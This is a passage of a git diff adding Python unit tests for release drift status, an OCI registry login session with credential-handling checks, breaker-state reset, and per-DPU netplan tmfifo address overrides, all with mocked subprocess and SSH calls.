test_reset_clears_every_per_target_map() -> None: + """The reset must clear ALL per-target state, not just breakers -- a stale + last-snapshot or last-success time is the same class of cross-test leak.""" + _trip(*_TARGET) + registry._latest[_TARGET] = {"leaked": True} + registry._target_names[_TARGET] = "leaked-name" + from datetime import UTC, datetime + registry._last_success_wall[_TARGET] = datetime.now(UTC) + + registry.reset_breaker_state() + + assert _TARGET not in registry._breakers + assert _TARGET not in registry._latest + assert _TARGET not in registry._target_names + assert _TARGET not in registry._last_success_wall + + +@pytest.mark.unit +def test_reset_leaves_app_wiring_alone() -> None: + """Probes and the session factory are set once at startup; tests that call + probes depend on them. The reset must not unregister them.""" + before_probes = dict(registry._probes) + registry.reset_breaker_state() + assert registry._probes == before_probes diff --git a/backend/tests/unit/test_release_drift_b.py b/backend/tests/unit/test_release_drift_b.py new file mode 100644 index 00000000..44cc78aa --- /dev/null +++ b/backend/tests/unit/test_release_drift_b.py @@ -0,0 +1,123 @@ +""" +UT-ADR494-B: Unit tests for ADR-494 Phase B release-line drift logic. + +Tests the release drift truth table (all five statuses) and the ReleaseDrift +Pydantic schema. DriftService._compute_release_drift is also exercised with a +mocked DB to cover the deployed_unresolved branch. +""" + +from types import SimpleNamespace +from unittest.mock import MagicMock, patch + +import pytest +from pydantic import ValidationError + +from schemas.drift import ReleaseDrift +from services.drift_service import DriftService + +# --------------------------------------------------------------------------- +# ReleaseDrift schema — shape and literal validation +# --------------------------------------------------------------------------- + +class TestReleaseDriftSchema: + def test_in_sync(self): + rd = ReleaseDrift(status="in_sync", deployed_release_id=5, running_release_id=5) + assert rd.status == "in_sync" + assert rd.deployed_release_id == 5 + assert rd.running_release_id == 5 + + def test_drifted(self): + rd = ReleaseDrift(status="drifted", deployed_release_id=3, running_release_id=7) + assert rd.status == "drifted" + assert rd.deployed_release_id == 3 + assert rd.running_release_id == 7 + + def test_not_forge_deployed(self): + rd = ReleaseDrift(status="not_forge_deployed", deployed_release_id=None, running_release_id=None) + assert rd.status == "not_forge_deployed" + assert rd.deployed_release_id is None + assert rd.running_release_id is None + + def test_undiscovered(self): + rd = ReleaseDrift(status="undiscovered", deployed_release_id=2, running_release_id=None) + assert rd.status == "undiscovered" + assert rd.deployed_release_id == 2 + assert rd.running_release_id is None + + def test_deployed_unresolved(self): + rd = ReleaseDrift(status="deployed_unresolved", deployed_release_id=None, running_release_id=None) + assert rd.status == "deployed_unresolved" + assert rd.deployed_release_id is None + + def test_invalid_status_rejected(self): + with pytest.raises(ValidationError): + ReleaseDrift(status="unknown_status") # type: ignore[arg-type] + + def test_defaults_nullable(self): + rd = ReleaseDrift(status="not_forge_deployed") + assert rd.deployed_release_id is None + assert rd.running_release_id is None + + +# --------------------------------------------------------------------------- +# Truth-table: pure drift status determination logic +# +# The helper is a free function that mirrors _compute_release_drift's core +# decision tree — deployed_row_id vs running_row_id — without any DB calls. +# --------------------------------------------------------------------------- + +def _drift_status(deployed_row_id: int | None, running_row_id: int | None) -> str: + """Mirror of the truth table in DriftService._compute_release_drift.""" + if deployed_row_id is None: + return "not_forge_deployed" + if running_row_id is None: + return "undiscovered" + return "in_sync" if deployed_row_id == running_row_id else "drifted" + + +class TestDriftTruthTable: + def test_both_none_is_not_forge_deployed(self): + assert _drift_status(None, None) == "not_forge_deployed" + + def test_deployed_none_running_set_is_not_forge_deployed(self): + # deployed absent takes priority over running presence + assert _drift_status(None, 7) == "not_forge_deployed" + + def test_deployed_set_running_none_is_undiscovered(self): + assert _drift_status(3, None) == "undiscovered" + + def test_both_equal_is_in_sync(self): + assert _drift_status(4, 4) == "in_sync" + + def test_both_differ_is_drifted(self): + assert _drift_status(2, 9) == "drifted" + + def test_large_id_values(self): + assert _drift_status(9999, 9999) == "in_sync" + assert _drift_status(1, 9999) == "drifted" + + +# --------------------------------------------------------------------------- +# _compute_release_drift — mocked DB, the deployed_unresolved branch +# --------------------------------------------------------------------------- + + +class TestComputeReleaseDrift: + def test_deployable_exists_flo_unresolvable_returns_deployed_unresolved(self): + """Deployable row exists (not None), bnk_release_id is None, and resolve_ga returns + None → cluster IS Forge-deployed but the release line is unknown → deployed_unresolved.""" + deployable = SimpleNamespace(bnk_release_id=None, flo_version="v2.99.0-unknown") + cluster = SimpleNamespace(running_release_id=5, deployable_release_id=42) + + db = MagicMock() + # db.query(...).filter(...).first() → the deployable stub + db.query.return_value.filter.return_value.first.return_value = deployable + + with patch("services.release_registry_service.ReleaseRegistryService.resolve_ga", return_value=None): + svc = DriftService(db) + result = svc._compute_release_drift(cluster) + + assert result["status"] == "deployed_unresolved" + assert result["deployed_release_id"] is None + # running_release_id is preserved from the cluster + assert result["running_release_id"] == 5 diff --git a/backend/tests/unit/test_release_source_oci.py b/backend/tests/unit/test_release_source_oci.py new file mode 100644 index 00000000..27e60459 --- /dev/null +++ b/backend/tests/unit/test_release_source_oci.py @@ -0,0 +1,413 @@ +"""Unit tests for services.bare_metal.release_source_oci (ADR-494). + +All subprocess calls are mocked — NO network access during these tests. +Security assertions: + - credential never appears in argv + - temp config dir is removed after the session (even on failure) + - host selection follows source.kind (oci → repo.f5.com, mirror → url host) +""" + +import base64 +import json +import shutil +import subprocess +import tempfile +from contextlib import contextmanager +from pathlib import Path +from types import SimpleNamespace +from unittest.mock import MagicMock, call, patch + +import pytest + +from services.bare_metal.release_source_oci import ( + OCI_HOST, + OciRegistrySession, + _detect_credential, + _host_for, + registry_session, +) +from services.release_source_service import _base_version, _is_prerelease + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _make_source(kind: str = "oci", url: str | None = None, credential_encrypted: str | None = "enc") -> SimpleNamespace: + """Minimal fake ReleaseSource ORM object.""" + return SimpleNamespace(id=1, kind=kind, url=url, credential_encrypted=credential_encrypted) + + +def _b64(text: str) -> str: + return base64.b64encode(text.encode()).decode() + + +# --------------------------------------------------------------------------- +# _host_for +# --------------------------------------------------------------------------- + + +class TestHostFor: + @pytest.mark.unit + def test_oci_kind_returns_fixed_host(self): + source = _make_source(kind="oci") + assert _host_for(source) == OCI_HOST + + @pytest.mark.unit + def test_mirror_kind_parses_host_from_url(self): + source = _make_source(kind="mirror", url="https://internal-mirror.example.com/some/path") + assert _host_for(source) == "internal-mirror.example.com" + + @pytest.mark.unit + def test_mirror_kind_strips_oci_scheme(self): + source = _make_source(kind="mirror", url="oci://mirror.corp.example/release") + assert _host_for(source) == "mirror.corp.example" + + @pytest.mark.unit + def test_mirror_kind_no_url_falls_back_to_oci_host(self): + source = _make_source(kind="mirror", url=None) + assert _host_for(source) == OCI_HOST + + +# --------------------------------------------------------------------------- +# _detect_credential +# --------------------------------------------------------------------------- + + +class TestDetectCredential: + @pytest.mark.unit + def test_sa_key_base64_uses_json_key_base64_username(self): + raw_key = json.dumps({"type": "service_account", "project_id": "myproj"}) + cred = _b64(raw_key) # base64 SA key + username, password = _detect_credential(cred) + assert username == "_json_key_base64" + assert password == cred + + @pytest.mark.unit + def test_dockerconfigjson_extracts_user_password(self): + auth_str = _b64("myuser:mypassword") + dockerconfig = json.dumps({ + "auths": { + "repo.f5.com": {"auth": auth_str} + } + }) + cred = _b64(dockerconfig) + username, password = _detect_credential(cred) + assert username == "myuser" + assert password == "mypassword" + + @pytest.mark.unit + def test_invalid_base64_falls_back_to_sa_key_shape(self): + cred = "not-valid-base64!!!" + username, password = _detect_credential(cred) + assert username == "_json_key_base64" + assert password == cred + + +# --------------------------------------------------------------------------- +# registry_session — credential never in argv, temp dir cleaned up +# --------------------------------------------------------------------------- + + +def _make_completed(returncode: int = 0, stdout: str = "", stderr: str = "") -> MagicMock: + """Return a mock CompletedProcess with str stdout/stderr (as text=True produces).""" + cp = MagicMock(spec=subprocess.CompletedProcess) + cp.returncode = returncode + cp.stdout = stdout + cp.stderr = stderr + return cp + + +class TestRegistrySession: + @pytest.mark.unit + def test_credential_never_appears_in_helm_login_argv(self): + """The decrypted SA key must never be passed in subprocess argv.""" + raw_key = json.dumps({"type": "service_account"}) + cred_b64 = _b64(raw_key) + + # helm login subprocess uses bytes (no text=True), so mock returns bytes. + completed_bytes = MagicMock(spec=subprocess.CompletedProcess) + completed_bytes.returncode = 0 + completed_bytes.stdout = b"" + completed_bytes.stderr = b"" + + with ( + patch( + "services.bare_metal.release_source_oci.decrypt_value", + return_value=cred_b64, + ), + patch("subprocess.run", return_value=completed_bytes) as mock_run, + ): + source = _make_source(kind="oci") + with registry_session(source): + pass + + # Inspect the helm login call + helm_call = mock_run.call_args + argv = helm_call[0][0] # positional: the command list + for arg in argv: + assert cred_b64 not in str(arg), "credential found in argv" + # stdin carries the password (bytes) + assert helm_call[1].get("input") == cred_b64.encode() + + @pytest.mark.unit + def test_temp_config_dir_removed_on_success(self): + """Temp config dir must be removed after a successful session.""" + created_dirs: list[str] = [] + real_mkdtemp = tempfile.mkdtemp + + def tracking_mkdtemp(**kwargs): + d = real_mkdtemp(**kwargs) + created_dirs.append(d) + return d + + completed_bytes = MagicMock(spec=subprocess.CompletedProcess) + completed_bytes.returncode = 0 + completed_bytes.stdout = b"" + completed_bytes.stderr = b"" + + with ( + patch( + "services.bare_metal.release_source_oci.decrypt_value", + return_value=_b64(json.dumps({"type": "service_account"})), + ), + patch("subprocess.run", return_value=completed_bytes), + patch( + "services.bare_metal.release_source_oci.tempfile.mkdtemp", + side_effect=tracking_mkdtemp, + ), + ): + source = _make_source(kind="oci") + with registry_session(source): + pass + + for d in created_dirs: + assert not Path(d).exists(), f"temp dir {d!r} was not cleaned up" + + @pytest.mark.unit + def test_temp_config_dir_removed_on_failure(self): + """Temp config dir must be removed even when the body raises.""" + created_dirs: list[str] = [] + real_mkdtemp = tempfile.mkdtemp + + def tracking_mkdtemp(**kwargs): + d = real_mkdtemp(**kwargs) + created_dirs.append(d) + return d + + completed_bytes = MagicMock(spec=subprocess.CompletedProcess) + completed_bytes.returncode = 0 + completed_bytes.stdout = b"" + completed_bytes.stderr = b"" + + with ( + patch( + "services.bare_metal.release_source_oci.decrypt_value", + return_value=_b64(json.dumps({"type": "service_account"})), + ), + patch("subprocess.run", return_value=completed_bytes), + patch( + "services.bare_metal.release_source_oci.tempfile.mkdtemp", + side_effect=tracking_mkdtemp, + ), + ): + source = _make_source(kind="oci") + with pytest.raises(RuntimeError, match="body error"): + with registry_session(source): + raise RuntimeError("body error") + + for d in created_dirs: + assert not Path(d).exists(), f"temp dir {d!r} was not cleaned up after failure" + + @pytest.mark.unit + def test_no_credential_raises(self): + source = _make_source(kind="oci", credential_encrypted=None) + with pytest.raises(RuntimeError, match="no stored credential"): + with registry_session(source): + pass + + @pytest.mark.unit + def test_helm_login_failure_raises_and_cleans_up(self): + failed_bytes = MagicMock(spec=subprocess.CompletedProcess) + failed_bytes.returncode = 1 + failed_bytes.stdout = b"" + failed_bytes.stderr = b"unauthorized" + created_dirs: list[str] = [] + real_mkdtemp = tempfile.mkdtemp + + def tracking_mkdtemp(**kwargs): + d = real_mkdtemp(**kwargs) + created_dirs.append(d) + return d + + with ( + patch( + "services.bare_metal.release_source_oci.decrypt_value", + return_value=_b64(json.dumps({"type": "service_account"})), + ), + patch("subprocess.run", return_value=failed_bytes), + patch( + "services.bare_metal.release_source_oci.tempfile.mkdtemp", + side_effect=tracking_mkdtemp, + ), + ): + with pytest.raises(RuntimeError, match="helm registry login"): + with registry_session(_make_source(kind="oci")): + pass + + for d in created_dirs: + assert not Path(d).exists() + + +# --------------------------------------------------------------------------- +# OciRegistrySession.list_tags +# --------------------------------------------------------------------------- + + +class TestListTags: + @pytest.mark.unit + def test_list_tags_parses_stdout_lines(self): + sess = OciRegistrySession(host="repo.f5.com", config_dir="/tmp/fake") + with patch( + "subprocess.run", + return_value=_make_completed(stdout="2.2.1-3.2226.0-0.0.511\n2.3.1-3.2598.3-0.0.304\n"), + ): + tags = sess.list_tags() + assert tags == ["2.2.1-3.2226.0-0.0.511", "2.3.1-3.2598.3-0.0.304"] + + @pytest.mark.unit + def test_list_tags_raises_on_nonzero_exit(self): + sess = OciRegistrySession(host="repo.f5.com", config_dir="/tmp/fake") + with patch( + "subprocess.run", + return_value=_make_completed(returncode=1, stderr="connection refused"), + ): + with pytest.raises(RuntimeError, match="oras repo tags failed"): + sess.list_tags() + + @pytest.mark.unit + def test_list_tags_uses_registry_config_flag(self): + sess = OciRegistrySession(host="repo.f5.com", config_dir="/tmp/fake-cfg") + with patch("subprocess.run", return_value=_make_completed(stdout="2.2.1\n")) as mock_run: + sess.list_tags() + argv = mock_run.call_args[0][0] + assert "--registry-config" in argv + assert "/tmp/fake-cfg/config.json" in argv + + +# --------------------------------------------------------------------------- +# OciRegistrySession.pull_manifest_yaml +# --------------------------------------------------------------------------- + + +class TestPullManifestYaml: + @pytest.mark.unit + def test_pull_manifest_yaml_reads_yaml_file(self, tmp_path): + """Pull should return the contents of the manifest yaml found in workdir.""" + manifest_content = "releases:\n - version: '2.2.1-test'\n" + tag = "2.2.1-test" + + def fake_helm_pull(argv, **kwargs): + # Simulate helm creating an untarred dir with a manifest yaml + dest = None + for i, arg in enumerate(argv): + if arg == "--destination" and i + 1 < len(argv): + dest = argv[i + 1] + if dest: + chart_dir = Path(dest) / "f5-bigip-k8s-manifest" + chart_dir.mkdir(parents=True, exist_ok=True) + (chart_dir / f"f5-bigip-k8s-manifest-{tag}.yaml").write_text(manifest_content) + return _make_completed() + + sess = OciRegistrySession(host="repo.f5.com", config_dir=str(tmp_path)) + with patch("subprocess.run", side_effect=fake_helm_pull): + result = sess.pull_manifest_yaml(tag) + + assert result == manifest_content + + @pytest.mark.unit + def test_pull_manifest_yaml_raises_on_nonzero_exit(self, tmp_path): + sess = OciRegistrySession(host="repo.f5.com", config_dir=str(tmp_path)) + with patch("subprocess.run", return_value=_make_completed(returncode=1, stderr=b"not found")): + with pytest.raises(RuntimeError, match="helm pull"): + sess.pull_manifest_yaml("2.2.1-test") + + @pytest.mark.unit + def test_pull_manifest_yaml_raises_when_no_yaml_found(self, tmp_path): + def fake_pull(argv, **kwargs): + return _make_completed() + + sess = OciRegistrySession(host="repo.f5.com", config_dir=str(tmp_path)) + with patch("subprocess.run", side_effect=fake_pull): + with pytest.raises(RuntimeError, match="No manifest YAML found"): + sess.pull_manifest_yaml("2.2.1-test") + + +# --------------------------------------------------------------------------- +# _is_prerelease / _base_version — F5 real tag grammar (Fix ADR-494 audit) +# --------------------------------------------------------------------------- + + +class TestIsPrerelease: + """Unit tests for the F5 OCI tag prerelease heuristic. + + Real F5 tag grammar: + Stable: x.y.z-[-optional-rest] + Prerelease: x.y.z- + Plain: x.y.z (no suffix — always stable) + + NOTE: tags of the form x.y.z---... (e.g. + "2.1.0-3.1736.2-ready-prod.15573925") have a digit-starting first + post-base segment and therefore classify as stable under this rule. + Such tags are rare; the common prerelease pattern is x.y.z-. + """ + + @pytest.mark.unit + def test_stable_full_build_tag(self): + assert _is_prerelease("2.2.1-3.2226.0-0.0.511") is False + + @pytest.mark.unit + def test_stable_release_version_pipeline_tag(self): + assert _is_prerelease("2.4.0-3.2981.1-release-version.17861144") is False + + @pytest.mark.unit + def test_stable_plain_version(self): + assert _is_prerelease("2.3.0") is False + + @pytest.mark.unit + def test_prerelease_laiq_label(self): + assert _is_prerelease("2.4.0-laiq") is True + + @pytest.mark.unit + def test_prerelease_ready_prod_label(self): + # "ready-prod" IS the first post-base segment (no build-id prefix). + assert _is_prerelease("2.1.0-ready-prod.15573925") is True + + @pytest.mark.unit + def test_prerelease_semver_rc(self): + assert _is_prerelease("2.4.0-rc.1") is True + + @pytest.mark.unit + def test_prerelease_semver_alpha(self): + assert _is_prerelease("3.0.0-alpha.1") is True + + @pytest.mark.unit + def test_stable_tag_with_digit_first_segment_and_letter_later(self): + # First post-base segment "3.1736.2" starts with digit → stable + # even though a later segment contains letters. + assert _is_prerelease("2.1.0-3.1736.2-ready-prod.15573925") is False + + @pytest.mark.unit + def test_trailing_hyphen_returns_false_not_raises(self): + # "2.2.1-" splits to ["2.2.1", ""] → first_post is "" → no IndexError, stable + assert _is_prerelease("2.2.1-") is False + + @pytest.mark.unit + def test_base_version_extracts_leading_xyz(self): + assert _base_version("2.2.1-3.2226.0-0.0.511").major == 2 + assert _base_version("2.2.1-3.2226.0-0.0.511").minor == 2 + + @pytest.mark.unit + def test_base_version_fallback_on_invalid(self): + from packaging.version import Version + assert _base_version("not-a-version-at-all") == Version("0.0.0") diff --git a/backend/tests/unit/test_rshim_service.py b/backend/tests/unit/test_rshim_service.py index 937081fb..fa4d4275 100644 --- a/backend/tests/unit/test_rshim_service.py +++ b/backend/tests/unit/test_rshim_service.py @@ -598,6 +598,369 @@ def test_netplan_body_includes_every_index(self): # Files we don't know about must NOT be touched. assert "tmfifo_net1:" not in body + # ── ADR-424 cluster-scoped IPAM overrides ───────────────────────────── + + def test_netplan_body_uses_ip_override_for_index(self): + # When IPAM assigns .5 to the host end on rshim0, the override + # must replace the formula 192.168.100.1. + body = _build_host_tmfifo_netplan({0, 1}, ip_overrides={1: "192.168.100.5"}) + assert "192.168.100.1/30" in body # rshim0: formula (no override) + assert "192.168.100.5/30" in body # rshim1: persisted IPAM address + assert "192.168.101.1/30" not in body # formula for rshim1 must NOT appear + + def test_single_rshim_with_nondefault_host_ip_writes_netplan(self): + # Multi-host cluster, 1 DPU per host. The 2nd host has rshim0 but + # IPAM allocated .5 (not the kernel default .1). Early-return must + # NOT fire — netplan must be written. + client = FakeSSHClient([ + (0, "", ""), # cat → no existing file + (0, "", ""), # tee + chmod + (0, "", ""), # netplan apply + ]) + dpu = SimpleNamespace( + pci_address="0000:0d:00.0", + rshim_device="rshim0", + host_tmfifo_ip="192.168.100.5", + kubernetes_cluster_id=1, + ) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=dpu, + ) + assert len(client.commands) == 3, ( + "single-DPU host with non-default host_tmfifo_ip must write netplan" + ) + assert "50-bnk-forge-tmfifo.yaml" in client.commands[1] + + def test_single_rshim_no_host_ip_still_skipped(self): + # A single-DPU host with no IPAM override must not touch netplan — + # the kernel auto-assigns 192.168.100.1/30 on tmfifo_net0. + client = FakeSSHClient([]) + dpu = SimpleNamespace( + pci_address="0000:0d:00.0", + rshim_device="rshim0", + host_tmfifo_ip=None, + ) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=dpu, + ) + assert client.commands == [] + + def test_nondefault_host_ip_renders_correct_cidr_in_netplan(self): + # Verify the netplan written for a single-DPU host with a + # cluster-allocated host_tmfifo_ip contains the right CIDR. + existing_content = "" # no existing file + client = FakeSSHClient([ + (0, existing_content, ""), # cat + (0, "", ""), # tee + chmod + (0, "", ""), # netplan apply + ]) + dpu = SimpleNamespace( + pci_address="0000:0d:00.0", + rshim_device="rshim0", + host_tmfifo_ip="192.168.100.5", + kubernetes_cluster_id=1, + ) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=dpu, + ) + # The tee command base64-encodes the netplan YAML — decode and verify. + import base64 as _b64 + import re as _re + tee_cmd = client.commands[1] + m = _re.search(r"printf '%s' '([A-Za-z0-9+/=]+)'", tee_cmd) + assert m, f"expected base64 payload in tee cmd: {tee_cmd!r}" + rendered = _b64.b64decode(m.group(1)).decode() + # The addresses: entry must use the persisted IP (- 192.168.100.5/30), + # not the formula (- 192.168.100.1/30). The comment section of the + # template mentions 192.168.100.1/30 so we check the address line. + assert " - 192.168.100.5/30" in rendered, ( + f"persisted host_tmfifo_ip must appear in netplan addresses, got:\n{rendered}" + ) + assert " - 192.168.100.1/30" not in rendered, ( + "formula address entry must not appear in addresses when override is present" + ) + + def test_idempotent_with_correct_override_file_already_present(self): + # No write when the existing netplan already matches the override. + dpu = SimpleNamespace( + pci_address="0000:0d:00.0", + rshim_device="rshim0", + host_tmfifo_ip="192.168.100.5", + kubernetes_cluster_id=1, + ) + target = _build_host_tmfifo_netplan({0}, {0: "192.168.100.5"}) + client = FakeSSHClient([(0, target, "")]) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=dpu, + ) + assert len(client.commands) == 1, "only cat — no write when file already matches" + + def test_multi_dpu_per_host_pins_both_interfaces_from_db(self, db: Session, project): + """Probing either DPU on a 2-DPU host must pin BOTH tmfifo interfaces. + + Without a DB query of sibling DPUs, probing DPU-B with its own + host_tmfifo_ip would write tmfifo_net0=formula, clobbering DPU-A's + IPAM-allocated address. With the DB query the netplan gets both + overrides so neither DPU loses connectivity after the other is probed. + """ + # Two DPUs on the same host with distinct rshim indexes and IPAM IPs. + # Both must be assigned to the same cluster so the isnot(None) guard + # in the DB query allows them to contribute (ADR-424 finding A fix). + dpu_a = _make_inband_dpu( + db, project, + host_node_ip="10.0.0.42", + pci_address="0000:0d:00.0", + ) + dpu_a.host_tmfifo_ip = "192.168.100.5" # IPAM-allocated, rshim0 + dpu_a.rshim_device = "rshim0" + dpu_a.kubernetes_cluster_id = 42 + db.commit() + + dpu_b = _make_inband_dpu( + db, project, + host_node_ip="10.0.0.42", + pci_address="0001:0d:00.0", + ) + dpu_b.host_tmfifo_ip = "192.168.101.5" # IPAM-allocated, rshim1 + dpu_b.rshim_device = "rshim1" + dpu_b.kubernetes_cluster_id = 42 + db.commit() + + rshim_map = { + "0000:0d:00.0": "rshim0", + "0001:0d:00.0": "rshim1", + } + client = FakeSSHClient([ + (0, "", ""), # cat → no existing file + (0, "", ""), # tee + chmod + (0, "", ""), # netplan apply + ]) + + # Probe DPU-B — the function must still pin DPU-A's interface too. + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, rshim_map, dpu=dpu_b, db=db, + ) + + import base64 as _b64 + import re as _re + tee_cmd = client.commands[1] + m = _re.search(r"printf '%s' '([A-Za-z0-9+/=]+)'", tee_cmd) + assert m, f"no base64 payload in tee cmd: {tee_cmd!r}" + rendered = _b64.b64decode(m.group(1)).decode() + + assert " - 192.168.100.5/30" in rendered, ( + f"DPU-A's IPAM address must be in netplan:\n{rendered}" + ) + assert " - 192.168.101.5/30" in rendered, ( + f"DPU-B's IPAM address must be in netplan:\n{rendered}" + ) + # Formula addresses must NOT appear as the address entries. + assert " - 192.168.100.1/30" not in rendered, ( + "rshim0 formula must not appear when IPAM override exists" + ) + assert " - 192.168.101.1/30" not in rendered, ( + "rshim1 formula must not appear when IPAM override exists" + ) + + def test_ignores_sibling_dpu_in_other_project(self, db: Session, project): + """A DPU sharing host_node_ip but owned by ANOTHER project must not + pin an address into this host's netplan (host_node_ip is unique only + per (project_id, host_node_ip, pci_address)).""" + probed = _make_inband_dpu(db, project, host_node_ip="10.0.0.99", pci_address="0000:0d:00.0") + probed.host_tmfifo_ip = "192.168.100.5" + probed.rshim_device = "rshim0" + probed.kubernetes_cluster_id = 1 + db.commit() + + other_project = Project(name="p-other", description="") + db.add(other_project) + db.commit() + foreign = _make_inband_dpu(db, other_project, host_node_ip="10.0.0.99", pci_address="0001:0d:00.0") + foreign.host_tmfifo_ip = "192.168.101.5" + foreign.rshim_device = "rshim1" + foreign.kubernetes_cluster_id = 2 + db.commit() + + client = FakeSSHClient([(0, "", ""), (0, "", ""), (0, "", "")]) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0", "0001:0d:00.0": "rshim1"}, + dpu=probed, db=db, + ) + + import base64 as _b64 + import re as _re + m = _re.search(r"printf '%s' '([A-Za-z0-9+/=]+)'", client.commands[1]) + assert m + rendered = _b64.b64decode(m.group(1)).decode() + assert " - 192.168.100.5/30" in rendered, "probed DPU's IPAM address must appear" + assert " - 192.168.101.5/30" not in rendered, ( + "foreign-project DPU's address must NOT leak into this host's netplan" + ) + + def test_sibling_dpu_in_other_cluster_on_same_host_contributes(self, db: Session, project): + """A sibling DPU on the same host joined to a DIFFERENT cluster MUST + contribute its persisted host_tmfifo_ip — a host belongs to one cluster, + so scoping to the host (not the probe subject's cluster_id) is correct. + The old cluster-equality filter would clobber a sibling's IPAM address + when the probe subject was in a different cluster (B1 fix).""" + probed = _make_inband_dpu(db, project, host_node_ip="10.0.0.77", pci_address="0000:0d:00.0") + probed.host_tmfifo_ip = "192.168.100.5" + probed.rshim_device = "rshim0" + probed.kubernetes_cluster_id = 10 + db.commit() + + sibling = _make_inband_dpu(db, project, host_node_ip="10.0.0.77", pci_address="0001:0d:00.0") + sibling.host_tmfifo_ip = "192.168.101.5" + sibling.rshim_device = "rshim1" + sibling.kubernetes_cluster_id = 20 # different cluster, same project + db.commit() + + client = FakeSSHClient([(0, "", ""), (0, "", ""), (0, "", "")]) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0", "0001:0d:00.0": "rshim1"}, + dpu=probed, db=db, + ) + + import base64 as _b64 + import re as _re + m = _re.search(r"printf '%s' '([A-Za-z0-9+/=]+)'", client.commands[1]) + assert m + rendered = _b64.b64decode(m.group(1)).decode() + assert " - 192.168.100.5/30" in rendered, ( + "probed DPU's IPAM address must appear" + ) + # The sibling is on the same host — its address must also be pinned. + assert " - 192.168.101.5/30" in rendered, ( + "sibling DPU's IPAM address must appear; scoping to host not cluster (B1)" + ) + + def test_orphan_probe_subject_db_branch_writes_nothing(self, db: Session, project): + """When the PROBED DPU is itself an orphan (kubernetes_cluster_id=None), + the db-branch filter must produce no results, so no host_tmfifo_ip is + written to netplan (ADR-424 finding A). + + Without the isnot(None) guard: kubernetes_cluster_id IS NULL matches + every other orphan, pinning a stale host_tmfifo_ip while + derive_tmfifo_dpu_ip returns the rshim formula → dead tmfifo link. + """ + orphan = _make_inband_dpu(db, project, host_node_ip="10.0.0.55", pci_address="0000:0d:00.0") + orphan.host_tmfifo_ip = "192.168.100.5" # stale persisted IP + orphan.rshim_device = "rshim0" + orphan.kubernetes_cluster_id = None # unregistered / orphan + db.commit() + + client = FakeSSHClient([(0, "", ""), (0, "", ""), (0, "", "")]) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=orphan, db=db, + ) + + # Single-rshim host with no IPAM override → early return, no SSH commands. + assert client.commands == [], ( + "Orphan probe subject must not trigger netplan write; " + f"got {len(client.commands)} SSH command(s)" + ) + + def test_orphan_probe_survives_clustered_sibling_ipam(self, db: Session, project): + """B1 regression: probing an orphan DPU on a two-rshim host must NOT + clobber the clustered sibling DPU's persisted host_tmfifo_ip. + + Pre-fix: the DB query filtered by probe_subject.kubernetes_cluster_id. + For an orphan, that clause became (IS NOT NULL AND = NULL) → empty + result → ip_overrides empty → sibling's rshim interface got the + formula address, breaking its tmfifo link. + + Post-fix: scope to host_node_ip only (no cluster_id equality); the + isnot(None) guard still keeps orphans from contributing. + """ + dpu_a = _make_inband_dpu( + db, project, + host_node_ip="10.0.0.66", + pci_address="0000:0d:00.0", + ) + dpu_a.host_tmfifo_ip = "192.168.100.5" # IPAM-allocated, rshim0 + dpu_a.rshim_device = "rshim0" + dpu_a.kubernetes_cluster_id = 42 # cluster member + db.commit() + + dpu_b = _make_inband_dpu( + db, project, + host_node_ip="10.0.0.66", + pci_address="0001:0d:00.0", + ) + dpu_b.host_tmfifo_ip = None # no IPAM yet + dpu_b.rshim_device = "rshim1" + dpu_b.kubernetes_cluster_id = None # orphan — not yet joined + db.commit() + + rshim_map = { + "0000:0d:00.0": "rshim0", + "0001:0d:00.0": "rshim1", + } + client = FakeSSHClient([ + (0, "", ""), # cat → no existing file + (0, "", ""), # tee + chmod + (0, "", ""), # netplan apply + ]) + + # Probe DPU-B (orphan). DPU-A's persisted IP must survive. + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, rshim_map, dpu=dpu_b, db=db, + ) + + import base64 as _b64 + import re as _re + tee_cmd = client.commands[1] + m = _re.search(r"printf '%s' '([A-Za-z0-9+/=]+)'", tee_cmd) + assert m, f"expected base64 payload in tee cmd: {tee_cmd!r}" + rendered = _b64.b64decode(m.group(1)).decode() + + assert " - 192.168.100.5/30" in rendered, ( + f"DPU-A's persisted IPAM address must survive an orphan-DPU probe:\n{rendered}" + ) + # DPU-B has no IPAM IP and is orphan — formula applies for rshim1. + assert " - 192.168.101.1/30" in rendered, ( + f"DPU-B's rshim1 interface must get the formula address:\n{rendered}" + ) + # rshim0 must NOT fall back to its formula. + assert " - 192.168.100.1/30" not in rendered, ( + "rshim0 formula must not appear when DPU-A has an IPAM override" + ) + + def test_orphan_probe_subject_no_db_branch_writes_nothing(self): + """No-db branch: orphan probe subject (kubernetes_cluster_id=None) must + not contribute its stale host_tmfifo_ip (ADR-424 finding A).""" + orphan = SimpleNamespace( + pci_address="0000:0d:00.0", + rshim_device="rshim0", + host_tmfifo_ip="192.168.100.5", # stale persisted IP + kubernetes_cluster_id=None, # orphan + host_node_ip="10.0.0.55", + id=99, + ) + client = FakeSSHClient([(0, "", ""), (0, "", ""), (0, "", "")]) + _ensure_host_tmfifo_ips( # type: ignore[arg-type] + client, + {"0000:0d:00.0": "rshim0"}, + dpu=orphan, + ) + + # ip_overrides is empty → single-rshim early return → no SSH commands. + assert client.commands == [], ( + "Orphan probe subject (no-db branch) must not trigger netplan write" + ) + class TestShortBdfForMst: """`mst status -v` always prints short BDFs even on multi-domain hosts. diff --git a/backend/tests/unit/test_schemas_bare_metal.py b/backend/tests/unit/test_schemas_bare_metal.py index 401f10fc..ccfbcb15 100644 --- a/backend/tests/unit/test_schemas_bare_metal.py +++ b/backend/tests/unit/test_schemas_bare_metal.py @@ -26,8 +26,8 @@ BareMetalHostListResponse, BareMetalHostResponse, BareMetalHostUpdate, - BnkVersionProfileListResponse, - BnkVersionProfileResponse, + 